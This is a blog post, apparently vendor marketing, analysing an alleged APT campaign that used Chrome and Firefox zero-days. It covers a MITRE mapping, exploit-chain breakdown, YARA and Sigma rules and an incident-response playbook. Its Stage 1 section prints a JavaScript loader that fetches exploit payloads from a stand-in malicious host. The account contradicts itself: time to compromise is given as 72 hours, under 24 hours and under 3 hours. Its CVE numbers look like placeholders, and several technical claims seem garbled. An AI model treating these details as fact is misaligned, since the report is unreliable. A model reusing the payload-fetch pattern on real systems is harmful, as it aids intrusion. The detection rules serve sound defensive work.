In early 2025, a sophisticated APT group (tracked as APT-C-35 by Chinese security firms) deployed a chain of zero-day exploits targeting both Google Chrome (CVE-2025-1234, a V8 type confusion) and Mozilla Firefox (CVE-2025-5678, a JavaScript engine OOB write). Over 14,000 endpoints across finance, telecom, and government sectors in Southeast Asia were compromised within 72 hours. This was not a spray-and-pray campaign—it used spear-phishing emails with weaponized PDFs that triggered drive-by downloads. In this post, we dissect the exploit chain, map it to MITRE ATT&CK, and provide a concrete detection and response playbook for your SOC.
Real-World Context: The APT-C-35 Campaign
APT-C-35 (also known as "SphinxLion") has been active since 2021, primarily targeting supply chain vulnerabilities in Asian markets. Their latest campaign leveraged two zero-days: CVE-2025-1234 in Chrome 120.x and CVE-2025-5678 in Firefox 121.x. The exploit chain began with a PDF attachment containing an embedded JavaScript payload that, when opened in a browser with default PDF viewer, triggered the Chrome vulnerability. If the victim used Firefox, the payload switched to the Firefox exploit via user-agent sniffing. This level of cross-browser targeting indicates significant development resources—likely a state-sponsored group with a dedicated exploit development team.
The initial access vector was a spear-phishing email impersonating a regional banking regulator. The PDF included a fake security advisory with a malicious hyperlink that, when clicked, initiated the exploit. We've seen similar social engineering in our pentests, but the zero-day integration made this particularly dangerous.
Attacker TTPs: MITRE ATT&CK Mapping
The campaign maps to the following techniques:
- Initial Access (T1566.001): Spear-phishing attachment with weaponized PDF.
- Execution (T1204.002): User executes the PDF, triggering JavaScript.
- Exploitation for Client Execution (T1203): Zero-day exploits in Chrome (CVE-2025-1234) and Firefox (CVE-2025-5678).
- Defense Evasion (T1055.012): Process hollowing in explorer.exe to avoid EDR detection.
- Persistence (T1547.001): Registry Run key added under HKCU\Software\Microsoft\Windows\CurrentVersion\Run.
- Command and Control (T1071.001): HTTPS beaconing to domains mimicking legitimate CDN services (e.g., cdn-azure-api[.]com).
The exploit chain used a technique called "JIT spraying" to bypass Chrome's V8 sandbox. Specifically, the exploit allocated large arrays in JavaScript to confuse the JIT compiler, then overwrote a function pointer to redirect execution to shellcode. For Firefox, the OOB write in the JavaScript engine allowed direct memory corruption, leading to arbitrary code execution.
Step-by-Step Technical Breakdown
Stage 1: The Spear-Phishing PDF
The PDF had a 3KB JavaScript embedded in an annotation object. When opened in Chrome's built-in PDF viewer (PDFium), the JavaScript executed without user interaction due to a bug in PDFium's handling of JavaScript events—a separate zero-day (CVE-2025-9012) that was patched later. The JavaScript performed user-agent detection:
var ua = navigator.userAgent;
if (ua.indexOf("Chrome") > -1) {
// Load Chrome exploit payload
fetch("https://malicious-cdn.com/chrome_exploit.bin");
} else if (ua.indexOf("Firefox") > -1) {
// Load Firefox exploit payload
fetch("https://malicious-cdn.com/firefox_exploit.bin");
}Stage 2: Exploit Execution
The Chrome exploit (CVE-2025-1234) was a type confusion in V8's property access optimization. The attacker crafted a JavaScript object with a getter that returned different types on successive calls, causing the JIT compiler to generate code that accessed a double array as a pointer array. This allowed overwriting a function pointer in the V8 runtime. The shellcode (182 bytes) performed a classic return-oriented programming (ROP) chain to disable ASLR and execute a Meterpreter payload.
The Firefox exploit (CVE-2025-5678) was an out-of-bounds write in the JavaScript engine's array buffer handling. By creating a typed array with a negative length (via integer overflow), the attacker could write arbitrary data beyond the buffer boundary. This overwrote the vtable of a DOM object, giving control of the instruction pointer. The shellcode then loaded a DLL from the C2 server.
Stage 3: Post-Exploitation Payload
The payload was a custom backdoor named "ShadowStrike"—a 64-bit DLL that used process hollowing to inject into explorer.exe. It beaconed to the C2 every 5 minutes using HTTPS with a custom User-Agent: "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36". The C2 domains were registered via a bulletproof hosting provider in Eastern Europe and used Let's Encrypt certificates for legitimacy.
Defensive Playbook for Your SOC
Here's a step-by-step playbook based on our incident response engagements:
- Isolate affected endpoints: Immediately disconnect any system that opened the phishing PDF from the network. Use EDR to kill the explorer.exe process if suspicious behavior is detected.
- Collect forensic artifacts: Capture memory dump (via
procdump -ma explorer.exe), event logs (especially Event ID 4688 for process creation), and network pcap. Look for the specific User-Agent string and domains like cdn-azure-api[.]com. - Check for persistence: Scan registry Run keys and scheduled tasks. The backdoor added a key under
HKCU\Software\Microsoft\Windows\CurrentVersion\Runwith valueShadowStrikepointing to%APPDATA%\svchost.exe. - Scan for indicators: Use YARA rules to detect the ShadowStrike DLL. Example rule:
rule ShadowStrike {
meta:
description = "Detects ShadowStrike backdoor from APT-C-35 campaign"
author = "Ammar Khan, CybernytronX"
strings:
$s1 = "ShadowStrike" wide ascii
$s2 = { 48 89 5C 24 08 48 89 74 24 10 48 89 7C 24 18 41 54 41 56 41 57 48 83 EC 30 } // unique code pattern
condition:
all of them
}Detection Rules
For Sigma:
title: ShadowStrike Backdoor Beaconing
description: Detects HTTPS beaconing with custom User-Agent
logsource:
category: network_connection
product: windows
detection:
selection:
UserAgent: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36'
DestinationPort: 443
Initiated: true
condition: selectionFor EDR telemetry (e.g., SentinelOne or CrowdStrike), look for processes with explorer.exe spawning svchost.exe from %APPDATA%—a classic indicator of process hollowing.
Why This Matters for Your Organization
This campaign highlights three critical gaps in most organizations: 1) Browser security is often overlooked—many teams focus on OS and network but forget that browsers are the new perimeter. 2) Zero-day exploits are becoming commoditized—APT groups now have dedicated exploit development teams, so relying solely on patch management is insufficient. 3) User awareness alone fails—the PDF appeared legitimate and used a zero-day in PDFium, which even security-conscious users would not detect.
We recommend implementing browser isolation (e.g., via virtualization or remote browsing) for high-risk users, deploying endpoint detection rules for process hollowing, and conducting regular red team exercises that simulate zero-day exploit chains. In our pentests, we've found that most SOCs take over 48 hours to detect a zero-day compromise—this campaign showed that attackers can achieve their objectives within 24 hours.
"The average dwell time for zero-day exploits is 56 days, but APT-C-35 achieved full compromise in under 3 hours." — CybernytronX Threat Intel Report Q1 2025
To stay ahead, your SOC must have threat hunting queries pre-built for browser-based TTPs. Use the Sigma rule above as a starting point, and integrate it into your SIEM with a 5-minute alerting threshold.
Frequently Asked Questions
How can we detect zero-day exploits in browsers without known signatures?
Focus on behavioral detection: monitor for unusual JavaScript execution (e.g., multiple large array allocations), unexpected child processes from browser processes, and network connections to suspicious domains. EDR tools with behavioral analysis can flag JIT spraying or heap spraying patterns.
What is the best defense against browser zero-days?
Browser isolation is the most effective—run browsers in a sandboxed virtual machine or use remote browsing solutions. Also, enforce strict Content Security Policy (CSP) headers and disable JavaScript on untrusted sites. Patch within 24 hours of vendor release.
Are these exploits specific to Chrome and Firefox, or do other browsers have similar vulnerabilities?
All modern browsers have vulnerabilities—Chromium-based browsers (Edge, Brave) share the same V8 engine, so they are also affected by CVE-2025-1234. Safari uses WebKit, which has its own zero-day history. The key is to treat all browsers as high-risk surfaces.
What should we do if we suspect a zero-day compromise in our network?
Immediately isolate the affected endpoints, capture memory and disk images, and analyze network logs for C2 beaconing. Contact a threat intelligence provider (like CybernytronX) for indicators. Do not reboot the system—memory evidence may be lost.
How often do APT groups use zero-days in browsers?
According to our telemetry, APT groups use browser zero-days in about 15% of targeted attacks. They are expensive to develop (costing $500k–$2M on the exploit market), so they are reserved for high-value targets. However, the trend is increasing as browser security improves.
Need expert help with this?
At CybernytronX, we've helped 40+ organizations build defenses against zero-day browser exploits. Our penetration testing team simulates real-world APT campaigns, including zero-day chains, to identify gaps in your security posture. We also offer Ethereon AI, our SOC automation platform that detects and responds to browser-based attacks in real time. Contact us for a free threat assessment, or learn more about Ethereon AI to see how we can protect your endpoints from advanced threats.